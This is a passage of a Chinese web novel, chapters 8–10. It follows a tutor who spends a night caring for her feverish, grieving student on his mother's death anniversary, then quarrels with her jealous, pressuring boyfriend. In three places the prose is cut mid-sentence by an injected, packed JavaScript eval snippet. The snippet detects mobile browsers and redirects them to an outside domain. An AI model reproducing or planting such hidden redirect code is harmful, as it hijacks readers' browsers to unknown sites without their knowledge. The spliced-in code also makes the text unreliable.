祁良安最近学习更加努力,好多时候完成了贺矜善布置的作业,自己还会找试卷来做,而且做出来的效果也还不错,就算偶尔题太难分稍微低些,他也不让贺矜善带试卷回去问谢俊延,只说是自己不小心才会做错,不用问别人。 他的紧张情绪消失之后,脾气却愈加见长,尤其是在遇到贺矜善说要回去问谢俊延难题的时候,经常直接就黑脸了。 贺矜善当然不明白,明明之前这样讲题的时候他都好好的,就算偶尔有情绪,也绝不至于黑脸,为什么现在会突然变成这样,问他是不是觉得自己不再需要她,他却又说自己不是那个意思,第二天的时候还会给贺矜善送礼物道歉,有时是花束、有时是蛋糕,有时是项链、有时是包包。 贺矜善只收了两次不那么贵重的,和他说下次不用这样,她是他的家教老师,教他是应该的,而且她只是他的家教老师,实在不用这样。 然后祁良安一连两天完全没理她。 十月下的时候,贺矜善的大四课程终于结束,大学里的所有课程也就这么结束,她终于有时间去找祁胜与聊一聊这件事。 如果真的如谢俊延所说,是祁良安厌烦她想用这种办法逼她走,那她也就不再继续坚持了。 但让她意外的是,据祁胜与所说,祁良安依旧非常喜欢她。 十一月八号,是祁良安的十九岁生日。 贺矜善专门提前一周找祁胜与问了下他的喜好,但祁胜与说,他不过生日,因为他妈妈就是在他生日前一天离开的,而且两人吵架,就是因为祁良安想要一辆车作为十八岁生日礼物,而他妈妈认为他就算成年,也没有驾驶证,而且又还在上高中,所以没有答应他,母子俩吵得厉害,祁良安摔门而出,他妈妈跟出去找他,这才出了车祸去世。 贺矜善之前只知道祁良安是和妈妈吵了一架之后离家出走,妈妈才出的事,没有想到这其中竟是这样的由头。 而且……刚好在他的生日前一天,也刚好是因为他的生日礼物才吵的架。 这样一来,祁良安每一年过生日的时候,每一次接过生日礼物的时候,都会想起自己妈妈是因为这些事去世。 也难怪他会那样责怪自己,责怪到自己封闭自己,责怪到觉得自己必须非常苛待自己才能赎回罪。 好在他现在没有完全封闭,至少对她还是有反应的,虽然这反应不大友好。 不过毕竟是个还在准备高考的弟弟,贺矜善也没打算怎么和他计较,而且主要是最初那几次见面的时候,祁良安实在是太乖太听话,还经常害羞,跟在她身前身后甜滋滋地叫姐姐,以至于她始终认为,现在的祁良安只是突然变得有点叛逆,实际上还是个乖弟弟,只不过需要多一些耐心。 祁良安生日前两天,祁胜与担心自己在会勾起他的伤心事,正好贺矜善又问过他过生日的事,干脆就说自己出去躲两天,让贺矜善陪着他。 谢俊延听说这事很是不高兴,说明明贺矜善是他的女朋友,为什么要陪别的男人过生日,但贺矜善说祁良安真的只是个弟弟,而且家里又出了那样的事,今年又是出事后的第一个生日,她能帮的话最好还是帮一下。贺矜善这样说,谢俊延心里纵然还有不满,也没再说什么,只说等他的课程也结束,贺矜善也必须要陪他过两天。 贺矜善只是笑笑,现在两个人都回了学校,每天都在一起,怎么还说要单独过? 十一月七日,贺矜善照常前往祁良安家做家教。 祁胜与应该是一大早就出门了,贺矜善进门的时候,就祁良安一个人在家,正坐在餐桌上吃早餐。 他剪短了一些头发,也不总是像以前那样佝着身子低着头,转头看向贺矜善的时候,贺矜善能直接看到他眼里的神色。 冷冷的,平静无波的。 “良安。”贺矜善下意识笑着和他打了个招呼。 祁良安转过脸去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831970|175606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续吃着煎蛋:“我还以为你今天也不会来了。” 贺矜善疑惑地皱起眉:“也?” 祁良安喝了口水:“我爸昨晚就没回来,发信息说临时有个课题要去外地,三五天才能回来。” “刘阿姨也请假了。”祁良安淡淡说着,声音很低,“今明两天。” 祁良安这段时间的变化实在是太大,贺矜善本就有点不太适应,之前两人不怎么说话都还好,现在祁良安忽然这么说着,她下意识就想用之前的方式去哄他,但又莫名觉得不太合适。 他现在给她的感觉,似乎不太像一个需要她无限关怀的弟弟了。 祁良安,似乎已经很长时间没叫过她姐姐了。 “怎么不说话?”祁良安吃完最后一口早餐,从椅子上起身,没有看她,“你如果也想走,我就当你今天没来过。” 贺矜善在心底默默叹了口气,就算现在的祁良安没再把她当成姐姐,她也还是把他当弟弟看的。 她记得他一开始那些乖巧胆怯的模样,记得他强忍的煎熬和笨拙的伪装,记得他跟在她身边抿着唇腼腆地叫她矜善姐姐。 有的东西,只要存在过,就再也无法被遗忘。 无所谓现在如何,她一个做姐姐的,让着点儿自己弟弟也很正常。 “我不走。”贺矜善温和说着,“明天我也来。” 祁良安回头看她,眼里一下子闪过很多情绪。 有惊喜。 那就够了。 贺矜善呼出口气,笑着朝他走去:“我们今天还是先继续做张卷子?” 祁良安垂着清澈但晦暗的眸子看她,闷声答应:“嗯。” 贺矜善朝他笑笑,咽下即将脱口而出的夸赞,在心底说给另一个弟弟听。 我们良安,真棒。 谢谢姐姐。 刘芳英请假,两人中午只能自己做饭吃,祁良安只会热菜,但家里无菜可热。 贺矜善去冰箱里找了找菜和肉,问了祁良安的口味,打算随便炒几个菜。 焖好饭正在洗菜的时候,祁良安进来了。 “饿了吗?”贺矜善问他,“放心,姐姐做饭很快的,一会儿就好。” 祁良安没应声,走进来拿了把菜刀,拿着贺矜善洗好的茄子开始切菜。 “良安还会切菜吗?”贺矜善正在洗青菜,好奇地看着祁良安问了句。 祁良安转过脸看她一眼,似乎是觉得无语,呼出口气转过头开始切菜。 贺矜善话落了空,有点失落地转过去继续洗菜。 “前段时间学的。”祁良安忽然说了句。 贺矜善转头看他,他正低头认真切着,头发因为重力的作用下垂着,不再阻挡好看的眉眼,他脸上依旧没什么表情,好像刚才并没有说过话。 许是贺矜善看的时间有点久,祁良安转过来看她,视线碰撞的一刻,贺矜善的心跳竟然离奇地漏了一拍。 “我脸上有东西吗?”祁良安问她,比起之前那些冷若冰霜的语气,算是温柔。 贺矜善迅速转过脸摇了摇头:“没有。” 祁良安似乎是察觉到什么,长眉轻轻一挑,视线在她身上黏了一会儿,皱着眉将脸转了回去。 刚才的一瞬心动惊得贺矜善半天没缓过来,加速洗好菜后借口想上厕所离开了厨房。 8. 瑟瑟08 洗手间镜子里她的脸竟然有些泛红。 一直到这一刻,贺矜善才真正意识到谢俊延说过的一件事,祁良安,是一个成年男人。 贺矜善用冷水洗了把脸,强行把自己心里陡然升起的这个念头给按了下去。 贺矜善,他是个弟弟。 而且,你有男朋友。 她看着镜子里的自己这么说了句,然后深呼吸调整几下,才重新回了厨房。 祁良安已经切好茄子和青菜,贺矜善从冰箱里拿出来的虾仁他也已经处理好放在一边,此刻正往锅里倒油。 看她进来,祁良安说:“鸡蛋你是要直接煎还是打散了煎?” “一会儿做虾仁滑蛋。”贺矜善说了句。 祁良安放油壶的手一顿,没有说话。 暑假的时候贺矜善做给他吃过,那会儿……他还不知道她有男朋友。 祁良安心情一时复杂,嘴角勾起一抹嘲讽的笑,很快又消失。 贺矜善觉得自己现在有点看不透祁良安了,同时她也不是很能看得懂她自己。 怎么会?又怎么能? 她在心里默默叹了口气,将鸡蛋打在碗里搅散备用。 茄子和青菜都是祁良安炒,贺矜善要做虾仁滑蛋,祁良安也不去抢她的,两道菜炒好之后,将锅洗好擦干放灶上:“好了,你来吧。” “嗯。”贺矜善朝他微笑一下,将鸡蛋下锅。 在她的印象里,比起吃虾仁滑蛋,祁良安是更喜欢看她做虾仁滑蛋的。 她拿着锅铲在锅里搅了搅,余光瞥见祁良安似乎在往锅里看,倒虾仁的时候看了他一眼,发现他果然还是和暑假那会儿一样,安安静静地站在一旁等着。 就是表情看着冷冷的,不似那会儿可爱。 许是察觉了贺矜善在看自己,祁良安咳嗽一声清了清嗓:“我先把菜端出去了。” “嗯。”贺矜善笑着接了句。 菜熟之后,她装盘盛起来端出去。 祁良安进来盛了两碗饭,重新回到餐桌。 “吃饭吧。”贺矜善看着他笑笑。 祁良安视线扫她一眼,点头嗯了一声,没说话。 贺矜善还是不免想起暑假那会儿刚开始和祁良安吃饭时他的模样,有些小失落,没再说话,低头安静吃着饭。 下午依旧是重复却又不重复的复习功课,贺矜善给祁良安布置试卷,祁良安做,贺矜善批改,然后祁良安自己对照着答案改错,贺矜善就只好坐在一边等他。 祁良安一般会拿一些小说给她看,时间一长,他书房里屯的小说都被看完了。 就像现在,贺矜善拿着一本已经看过第三遍的小说随意翻看着,无聊,但也没办法。 “你明年夏天就要毕业了是吗?”祁良安坐在书桌前忽然问了一句。 没有前缀,没有称呼,但房间里就他们两人,贺矜善抬头回答:“对。” 一阵沉默。 “你会留在云霞吗?”他又问。 贺矜善合上书:“也许吧。” “也许?”祁良安转过身来,“你不打算去我爸给你安排的地方工作吗?” 贺矜善看着他温柔笑笑:“到时候再看吧,现在还不知道祁教授会给我安排什么工作呢。” “你想要什么样的工作?” “我其实没什么要求,只要工资合适,工作体面就可以。” “那你就留在云霞吧,我会让我爸给你安排一个这样的工作。” 贺矜善看着他。 祁良安错开视线。 他咽了咽,喉结跟着滚一下:“还是说,你要不要留在云霞,取决于他?” “他?”贺矜善不解。 祁良安有点不悦:“你男朋友。” “哦。”贺矜善笑起来,“不全是,但如果结婚了,最好还是在同一个地方生活。” 祁良安转了回去。 话题戛然而止。 贺矜善觉得有点奇怪,但又说不清是哪里奇怪,只自顾自认为……大概是青春期遇上准备高考,压力大? 傍晚,祁良安完成了一天的学习,贺矜善照例陪他吃完饭,背上包预备回学校的时候,外面突然下起了大雨。 “你就这么着急回去见他?”祁良安看着她向外张望的动作冒了句。 贺矜善又一次疑惑地转头看他,按照刚才的逻辑,祁良安说的这个“他”,应该指的是谢俊延。 “良安,你是不是不太喜欢我男朋友?”贺矜善试探着问了句。 祁良安很是坦荡:“我为什么要喜欢他呢?” 贺矜善一时语噎。 他转身走进去:“这雨一时半会儿停不了的,进来坐会儿吧。” “反正家里就我一个人。” 就他一个人。 而且今天还是他妈妈的忌日。 贺矜善皱起了眉。 她慢慢叹了口气,放下包又走了回去。 祁良安没去客厅,转身上了楼。 贺矜善正犹豫要不要跟上去,听见他站在楼梯上说:“上来看我画画吧,如果你愿意的话。” 画画? 贺矜善很是意外,认识祁良安这么久,她竟然没有发现他还会画画。 她走了过去,祁良安在前面走着,步调不快,似乎是在等她。 贺矜善跟上去,祁良安带她往楼上去了。 阁楼。 祁胜与说,里面都是关于祁良安妈妈的东西,最好不要进去,也不要动里面的东西。 祁良安领着她走到门口,从旁边的一个小盒子里拿出了钥匙,门打开,一股沉闷的灰尘味道扑面而来。 祁良安在她身前挡了挡,而后走进去开了灯:“进来吧,里面有凳子。” 贺矜善走进去,里面和她想象中不太一样,墙的四周全是堆放着的纸箱子,只有中间留出一片空间,摆放着画板和颜料,颜料的旁边,还有几个敞开的箱子,放着一卷一卷的画。 画板上的颜料已经风干开裂,祁良安,应该很久没有画过画了。 “有喜欢的东西吗?”祁良安坐下换了张空白的纸,拿起画笔问了句,“我可以试着画一画。” 他指了指旁边的凳子:“坐。” 贺矜善在凳子上坐下,随便朝四周看了看:“就……灯泡吧,或者你想画什么都行。” “好,就画灯泡。”祁良安打开颜料盘,重新挤了颜料进去,开始画画。 窗外大雨还在继续,淅淅沥沥的雨不断拍打在屋顶和树叶上,听着莫名畅快。 贺矜善收回视线,祁良安的灯泡开始有了雏形,只是这灯的颜色看着有些特别。 “紫色的灯吗?”贺矜善问了句。 “嗯。”祁良安答应一声,继续画着。 贺矜善看他画得认真,没有打扰。 大概十分钟后,祁良安放下了笔。 纸张上出现一盏……老式路灯?上面一个倒放的漏斗,下面是柔黄的灯,但灯柱和灯的上面缠着很多紫藤萝。 “良安喜欢紫藤萝吗?”贺矜善问。 祁良安转过脸看她,唇角轻轻勾了勾:“你喜欢吗?” 贺矜善已经许久没见过他笑,也跟着笑笑:“我也喜欢。” 祁良安眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“或者……我以后三五天再来一次,一周一次什么的,作业的话我就直接微信发你,你如果愿意让我改,那我就多攒几次一起拿。” “贺矜善。” 她忽地抬头。 这是祁良安第一次叫她的全名。 不叫姐姐之后,他对她的称呼直接就省略了,一般都是直接说正事,只有刚才,才破天荒地叫了声矜善姐姐,而且还是阴阳怪气的语气。 但现在,他叫她贺矜善。 贺矜善手捏住衣摆,指尖摩挲过衣服布料的时候,她才发现,她和祁良安之间的境况,似乎完全对调了。 “你是不是觉得自己很懂我?”祁良安看着她问,眼神冷得不像话。 贺矜善心里揪着疼,面上却只能尴尬地笑笑。 窗外雨依旧不停,但她不想留在这里了。 她站起身,笑着说:“时间也不早了,我该回学校了。” 正要转身,她想起来明天是祁良安的生日,还是回过头来:“对了良安,祝你,生日快乐,你讨厌我的话,我明天,就先不过来了。” 祁良安伸手拉住她的手腕。 贺矜善垂眸看他,眼泪即将决堤,她试着挣开:“良安,我真的该回去了。” 祁良安拧眉望着她,眼里竟也藏着泪光:“别走。” “留下来陪陪我,好吗?” 9. 瑟瑟09 贺矜善鼻头发着酸:“你不是讨厌我吗?” 祁良安看着她摇摇头:“我没有。” 尽管贺矜善极力忍耐着,还是有一滴泪顺着她脸颊滑落。 祁良安站起身给她擦眼泪,被她躲开,自己擦掉:“抱歉。” “矜善姐姐。”祁良安一脸自责,“我真的没有讨厌你。” 贺矜善没说话,也没理他,挣扎着抽回了手。 “我只是觉得……”祁良安低头看着她,“觉得你……” 不被道德认可的爱意临到嘴边,他随意编造了一个借口:“好像没有以前那样关心我了。” 贺矜善抬眼看他,又一滴泪滑过脸颊:“什么时候的事?” “就……”祁良安抿了抿唇,算了算自己开始吃醋的时间,“你找你男朋友问题的时候。” “什么?”贺矜善没明白,“那不是一开始就这样的吗?” “不是。”祁良安有点生气,“是后面,你满嘴都是你男朋友的时候。” “连和我一起吃饭,话题都会扯到他身上。” 贺矜善皱着眉回忆着,她还真没什么印象,她明明记得自己只和祁良安提过一句题目是请教的谢俊延,之后也有吗?还满嘴都是?可她怎么记得之后都是祁良安主动在提啊? 什么姐姐你男朋友也喜欢吃这个菜吗?姐姐你这道菜是谁教你做的?不会又是你男朋友吧?姐姐你新衣服好漂亮,是自己买的吗?还是别人送的,又是你男朋友吗……诸如此类。 “你还不承认。”祁良安生气地说着,“你根本就意识不到自己有多不在乎我,你满脑子都是你男朋友,明明就是你先对我不好,还在这里说是我讨厌你,说我不喜欢你,还说之后要很久很久才来见我一次!” 贺矜善被祁良安说得脑子都懵了。 难道?她真的有这么频繁地提到谢俊延? 那为什么谢俊延那边又总是说她满嘴都是祁良安啊? “你看,你说不出话了吧?”祁良安气得转过脸去,后槽牙都快咬碎了。 贺矜善看他这模样着实气得不轻,吸了吸鼻子上前安慰:“良安,姐姐以后不这样了,你别生气。” “不哪样?”祁良安回过头来问她,“是再也不提他,还是尽量少提?” 贺矜善抿了抿唇:“不提了,姐姐再也不提了。” 祁良安皱眉看着她:“你是不是觉得我在无理取闹?” 贺矜善也皱起眉,虽然她确实是不理解提谢俊延怎么就让他不高兴了,一开始不是说是她提谢俊延那段时间忽略了他吗?怎么提谢俊延一下子就变成根本原因了。 但她还是先应下:“没有,我们良安这么乖,怎么会无理取闹呢?” 祁良安脸色这才稍微好看了些:“那你以后还是必须每天来,不许不见我,高考结束也不许不见我。” “好。” “作业也必须当面给我说,当面给我批改,还要陪着我学习。” “好。” “那你今晚也不走,就在这儿陪我。” 贺矜善没立刻答应。 祁良安又压下眉:“明天是我生日,你不送我礼物就算了,连个这么小的要求也不答应吗?” “你的礼物我买了,放在寝室了,想着明天拿给你来着。” “那我不要了。”他立马改口,“把礼物换成今晚你留在这儿陪我。” 贺矜善看着还是有些为难。 祁良安脸色又黑了不少:“到底为什么不行?难道姐姐觉得,你留在这里,我会对你做什么?” “没有没有。”贺矜善赶紧否认说,“姐姐没有这么想。” “姐姐不走了,今晚就留在这里陪你。” - 晚上,贺矜善洗漱好之后在一楼客房铺床,祁良安洗漱好从浴室出来,头发吹到半干之后过来帮她铺床。 “姐姐自己来就好。”贺矜善看他穿得单薄,“良安快去披件衣服,一会儿感冒了。” “没事儿,现在还没有很冷,而且我刚洗过澡,还有点儿热。”祁良安捏着被角抖了抖,看着她笑笑。 贺矜善看他笑得好看,也没再多说。 贺矜善晚上一般没什么娱乐活动,很少追剧也很少玩游戏,据说祁良安也差不多这样,这几个月来,每天晚上的固定项目也就是一个学习。 所以虽说是在祁良安家留宿,但在贺矜善看来,也就是换个地方睡一觉,明天一早不用赶路直接开始做家教。 但现实总是和她想象的不太一样。 半夜,她的门被敲响。 “姐姐,你睡了吗?” 是祁良安。 贺矜善摸着黑开了灯,起身开门。 “怎么了?” 祁良安就那么站在门口,整个人都在发抖。 “你怎么了?”贺矜善一下子惊醒,刚想问他是不是做噩梦了,下一秒,他整个人倒在她身上。 身体滚烫。 “良安你发烧了?”贺矜善连忙把他扶到床上,“你先躺着,姐姐去拿医药箱。” 医药箱里有退烧药,没过期,贺矜善接了杯水,把药给祁良安吃下去。 “姐姐。”祁良安迷迷糊糊喊了一声,摸索着去抓贺矜善的手。 “姐姐在。”贺矜善在他额头上贴了个退烧贴,牵着他小声哄着,“没事的,吃了药一会儿就好了。” “我会好吗?” “一定会的。” “真的吗?” “姐姐什么时候骗过你。” 祁良安紧紧抓着贺矜善的手,双眼紧闭,一脸痛苦。 贺矜善看他这样直皱眉。 虽然祁良安这段时间看着已经和正常人没什么区别了,但毕竟今天日子特殊,她有点想打电话问问祁胜与,祁良安之前有没有这样过,他现在这样,真的只是普通的感冒发烧吗? 但现在这个点…… 贺矜善叹气,从边上拖了个凳子坐在床边。 “姐姐。”祁良安还在迷迷糊糊地喊着。 “姐姐在。” “我……我是不是……要死了。” “瞎说什么。”贺矜善皱眉说他,“就一个普通小感冒,吃了药一会儿就好了。” “真的吗?” “可是我……我刚才,梦见我妈了。” “她说,我让她很失望。” “……还说,我……” “我是个……混小子,只会……伤害身边的人。” 贺矜善牵着他的手皱眉劝道:“那只是个梦良安,阿姨不会这样说你的。” “她真的有。”祁良安说着,带浓重的呼吸声和些许哭腔。 “矜善……姐姐。” “姐姐,你会不会离开我?” “不会的。”贺矜善几乎是第一时间就回答他,“姐姐会一直在这里守着你,不会离开你的。” “……你骗我。” “你有男朋友。”一滴泪顺着他眼角滑落进鬓角。 “等我高考完,你也毕业了,你会……跟着他,一起离开我。” “……你们会结婚,会生小孩儿,到那时……你就不会再记得我。” “不会再记得,祁良安。” 贺矜善说不通,干脆反问他:“那你会忘了姐姐吗?” “我……不会。” “等你以后结婚,生小孩儿,也不会忘记姐姐吗?”她问。 “不会。” “那不就对了。”贺矜善摸了摸他额头,还是烫得吓人,“人和人都是相对的,你都不会忘记姐姐,姐姐又怎么会忘记你。” 祁良安已经将她的手握出汗,贺矜善也握着他,他眉头始终紧皱着,明明今天也没怎么受凉,就算刚才洗了澡过来给她铺床穿得单薄了些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831972|175606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不至于发这么高的烧吧? 贺矜善担心得连连叹气。 祁良安的这次发烧,应该更多的是因为那个噩梦吧。 “矜善姐姐。” “姐姐……” 贺矜善另一只手也搭上他手背:“良安,那些都是梦。” 她动了动那只被他握住的手:“这个才是真的,姐姐才是真的。” 祁良安将她的手抓得更牢,白净的皮肤下青色的血管凸出着,手指关节因为用力而变得更加骨节分明。 “姐姐……才是真的。” “对,姐姐才是真的。”贺矜善着急地在他耳边说着,将他的手背贴近自己脸庞,“姐姐是真的,姐姐会一直陪着良安。” 或许是发烧体温太高,忽然感受到一抹柔软的凉意,祁良安的手背下意识的在贺矜善脸上贪婪地轻蹭几下。 贺矜善也不抗拒他的接触,见他有所反应,由着他靠近:“对,姐姐是真的,那些噩梦都是假的,不会有人怪你,就算当时你真的有错,都过去一年了,良安,大家都放下了,你也该放过你自己了。” “阿姨在天有灵,也不愿意看见自己的儿子饱受痛苦折磨的。” “姐姐……” “陪着我……不要,离开我……” 那天晚上祁良安这样絮絮叨叨地念叨了一夜,贺矜善也就在床边坐着哄了他一夜,一直到天色渐明,他的烧才慢慢退下去,贺矜善也实在熬不住了,将就在床边趴着睡了过去。 一觉醒来,时间已经接近下午四点。 她是在床上躺着醒来的。 贺矜善先是睁开眼,又闭了回去,而后忽然想起祁良安还在生病,立马又睁开眼找人,但床上没有人。 她下床找人,刚打开门,看见刚要开门进来的祁良安,面色正常,精神正常,她抬手在他额头上摸了一把,体温也正常。 贺矜善这才松了口气:“去哪了你?” “我去做饭了。”祁良安一脸无辜地看着她眨眨眼。 贺矜善点了点头:“还难受吗?” “不难受了。”祁良安看着她笑笑。 “嗯,不难受了就好。” “那我们去吃饭吧?我煮了海鲜粥和好多好吃的。” “嗯。” 这顿饭祁良安没再像之前那样冷言冷语冷脸色,而是有点像回到了最开始,吃着吃着就要看两眼贺矜善,看着看着自己就开始笑起来,问他笑什么也不说。 但又好像有些不一样。 最开始的祁良安,是吃着吃着小心翼翼地偷瞄她,就算笑,也是抿着唇笑得很腼腆,但现在,他直接就正大光明地看,好几次都直接对视上了,他也不躲,俊逸的眉眼秋波盈盈,弄得贺矜善怎么坐都有点不自在。 两天一夜没有回学校,吃过饭后贺矜善就说自己得回去了,祁良安没拦她,但说自己定了蛋糕,希望她能陪他许愿吹蜡烛。 贺矜善自然答应了下来,许好愿吹了蜡烛之后还陪着他吃了蛋糕,这才背上包回学校。 打车付钱的时候贺矜善才发现包里的手机已经没电关机了,好在是包里还有祁良安之前塞给她急用的钱,也算是派上了用场。 回寝室第一件事,贺矜善就给手机充上了电。 “矜善你回来啦?你昨晚去哪儿了?”应佳期刚实习下班,看见贺矜善回来问了句。 “矜善回来了?”正在补觉的另一个室友掀开床帘探出头来,“你昨晚去哪儿了?你男朋友一直找你来着。” “俊延找我吗?” “是啊,就今天都还在找呢,小萤回来的时候都遇上了。” “啊对,好像是两三点的时候吧。” 贺矜善赶紧给手机开机,一开机,26个未接电话,全是谢俊延。 她赶紧给他回了过去,接起的一瞬间,对方语气是她从没听过的冷硬:“你昨晚去哪儿了?” 10. 瑟瑟10 “我昨晚在祁良安家,他发烧了家里没人。”贺矜善连忙解释说。 “发烧需要你照顾一整夜吗?”谢俊延问她,“还是全程关机的那种。” 贺矜善这才听出他是误会了,耐心解释着:“俊延,我关机是因为没电了,我刚才回来才充上电。” “你刚才才回来?” “两天一夜啊贺矜善。” 这是贺矜善第一次和他说话的时候觉得难受:“我们能不能好好说话?” “好啊。”谢俊延冷笑一声,“你现在回学校了是吗?” “是。” “那我现在来你宿舍楼下找你,你要做多久的准备?” “你来就好了啊,我马上下来。”贺矜善没明白他话里的意思,一边穿鞋一边准备下楼。 谢俊延话里的另一层意思没有得到回应,他虽然有点动摇,但还是觉得生气,直接挂了电话。 几分钟后,贺矜善在宿舍楼下和黑着脸过来的谢俊延碰了面。 “俊延。”贺矜善看他走来,跑过去拉他的手和他道歉,“对不起,我昨天确实是手机没电了才没接到你的电话,让你担心了。” 谢俊延拧着眉看着她,眼神在她身上唯一裸露出的脖颈上打量着。 “俊延?”贺矜善只以为他是气蒙了,接着哄着,“我下次再也不这样了,我一定随时观测好手机的电量,如果不回来的话一定——” “还有下次是吗?”谢俊延冷声问她。 “我……万一——” “贺矜善。”谢俊延反手抓住她手腕,“你是我谢俊延的女朋友,你在另一个男人家里待了两天一夜没回消息,你还想有下次?” “不是的。”贺矜善看他还是误会,着急地皱眉解释,“昨天是良——祁良安妈妈的忌日,他爸爸临时有工作回不来,家里就他一个人,他发烧了需要人照顾,所以我才在那里照顾他,一直到天亮了才休息,我醒了之后吃了饭就回来了,真的。” 谢俊延仍是冷笑一声,他紧紧捏着她的手腕,眼里怒火中烧:“你的意思是你们是清白的?” 他逼近一步,眼神向下,似乎是要穿透她蔽体的衣服:“贺矜善,你怎么证明?” 贺矜善这下明白了他的意思,一时觉得面前的人陌生得很,她试着挣脱两下,没能挣开:“俊延,我说的话句句属实,我和祁良安之间清清白白,你如果非要认为我和他之间有什么——” “那你也没有办法?是吗?”谢俊延眼神冷冰至极,“贺矜善,你把我谢俊延当什么?” “你对所有人都那么友善那么温柔,到我这里就这样一句没有办法随便打发了是吗!” “那你想怎么嘛。”贺矜善也恼了起来,“我解释了你又不信,那你要我怎么证明?” 谢俊延抓着她往自己身上靠近,眼睛紧紧盯着她:“很简单。” 贺矜善迷惑地和他对视着,眼神会意的一瞬间,她狠狠踩了他一脚,一把将他推开,转身跑回了宿舍。 - 那天之后,贺矜善和谢俊延开始了恋爱三年来的第一次冷战,贺矜善不再和谢俊延联系,谢俊延也没来找她,室友发现贺矜善的异常后问过一次,得知两人冷战之后也就没再多说,各自忙各自实习的事。 相比起来,祁良安倒是变得懂事了不少,不甩脸子也不冷言冷语,她没怎么操心,成绩竟还在稳步提升着,课间休息的时候还会时不时甜滋滋地叫她姐姐,哄得贺矜善每天上课都笑逐颜开的。 又过了一个半月,学期末的时候,计算机专业才终于结束了最后一门专业课,有的学生选择回家过最后一个寒假,有的学生留校准备毕业论文,还有的则直接着手开始找工作,照两人之前聊天时的规划,谢俊延应该就是找工作的那批之一。 贺矜善之前还答应过谢俊延等他结课了要陪他好好玩一玩,但眼下这种境况,她也有点拿不准自己该不该去。 室友们都说,情侣冷战超过一周,自动默认分手。 但贺矜善觉得……谢俊延,应该不是那样的人。 毕竟两人谈了这么多年,谢俊延还没有做过半点对她不好的事,当初他追她的时候也是事事尽心,表白的言语和誓言都诚恳至极。 而且她们都说好了今年过年要回家见家长的,都走到这一步了,应该不会就这么不清不楚地分手吧? 果不其然,一月中旬的时候,谢俊延来找贺矜善道歉。 那会儿学校已经进入寒假,宿舍里都是一些要么做实验要么做实习的大四学生,谢俊延估着贺矜善做家教回来的时间,在宿舍门口等她。 还有一束玫瑰花。 经过这么些时间,贺矜善也冷静了下来,虽然当时室友们也说,两个人谈恋爱做那种事很正常,不一定非要等到结婚,但她还是不大认同谢俊延说的那种证明方法。 或者说,还是觉得有点生气。 但那件事一开始也确实是她没做好,谢俊延那会儿正在气头上,结合室友们说的这些……其他情侣的相处模式,他那会儿那样……似乎也可以理解。 贺矜善走过去,谢俊延把花递给她。 贺矜善还是接了过去:“谢谢。” “矜善,我上次……确实是太生气了,才会那样,对不起。” “你能,原谅我吗?” 贺矜善捧着花叹了口气,说着:“我和祁良安之间真的没什么。” 她抿了抿唇,低头说着:“那天回去,我也问过室友,她们说谈恋爱的时候男生有那种想法很正常。” “但谢俊延。”贺矜善抬头和他对视着,“从我们确定关系的第一天起,我就告诉过你,我,不接受婚前性行为。” “我知道的矜善。”谢俊延看上去很是懊悔,“我那天真的,我就是气昏了头,我不会这样了,真的。” 贺矜善也不知道自己该不该相信他,说:“我室友还说,情侣之间冷战超过一周,可以默认分手。” “我不是那个意思。”谢俊延赶紧解释,“我只是不知道该怎么面对你,所以就想等专业课结束之后再来找你。” “嗯。”贺矜善点点头,“你没有要分手的话,那我们之前说过年见家长的事,还要继续吗?” “当然要继续啊。”谢俊延看到了希望,笑起来,“矜善你还愿意跟我回去就好。” 贺矜善今天也不知道怎么了,愣是笑不出来,但要说她真的已经厌烦谢俊延,似乎又还没到那个程度。 反正爸妈之前交代过,如果谈恋爱,要先带人回去给他们把把关。 既然她拿不准主意,那就先带回去给爸妈看看吧。 “矜善,你想什么时候回去?”谢俊延朝贺矜善靠近一步,爽朗地笑着,“我好和主管请假。” “你已经找到工作了吗?”贺矜善问他。 “是。”谢俊延摸着后脑勺解释着,“就前两天,还没来得及和你说。” 贺矜善点了点头:“再过几天吧,我把这边的事情处理一下,然后就回家。” “先去你家还是我家?”谢俊延问。 贺矜善犹豫一下:“先去我家吧。” “好。” - 贺矜善把要提前回家过年的事和祁胜与说了,祁胜与的意思是他肯定是支持的,但这件事最好还是贺矜善自己通知祁良安好一些,免得他情绪又出问题。 贺矜善也是这么觉得的,但祁良安这次和她们想象得不太一样,完全没有闹脾气,只是眼睛亮亮地问着她是哪里人,家乡有没有什么好玩儿的,贺矜善看他现在的情绪比起之前真的算是稳定了太多,很是欣慰,他想知道什么,她也就告诉他什么。 腊月二十七,贺矜善和谢俊延一起坐车回了圆茶市。 准女婿初次登门,谢俊延一路都在问贺矜善她爸妈的事儿,包括但不限于父母年岁,吃饭口味,抽不抽烟喝不喝酒,喜欢什么样的人,讨厌什么样的人,什么样的行为在他们眼里会加分,什么样的人在他们眼里又会减分。 贺矜善也知道他是因为紧张,一句一句解答着,只是越到后面越发觉—— 这些问题怎么好像祁良安都问过。 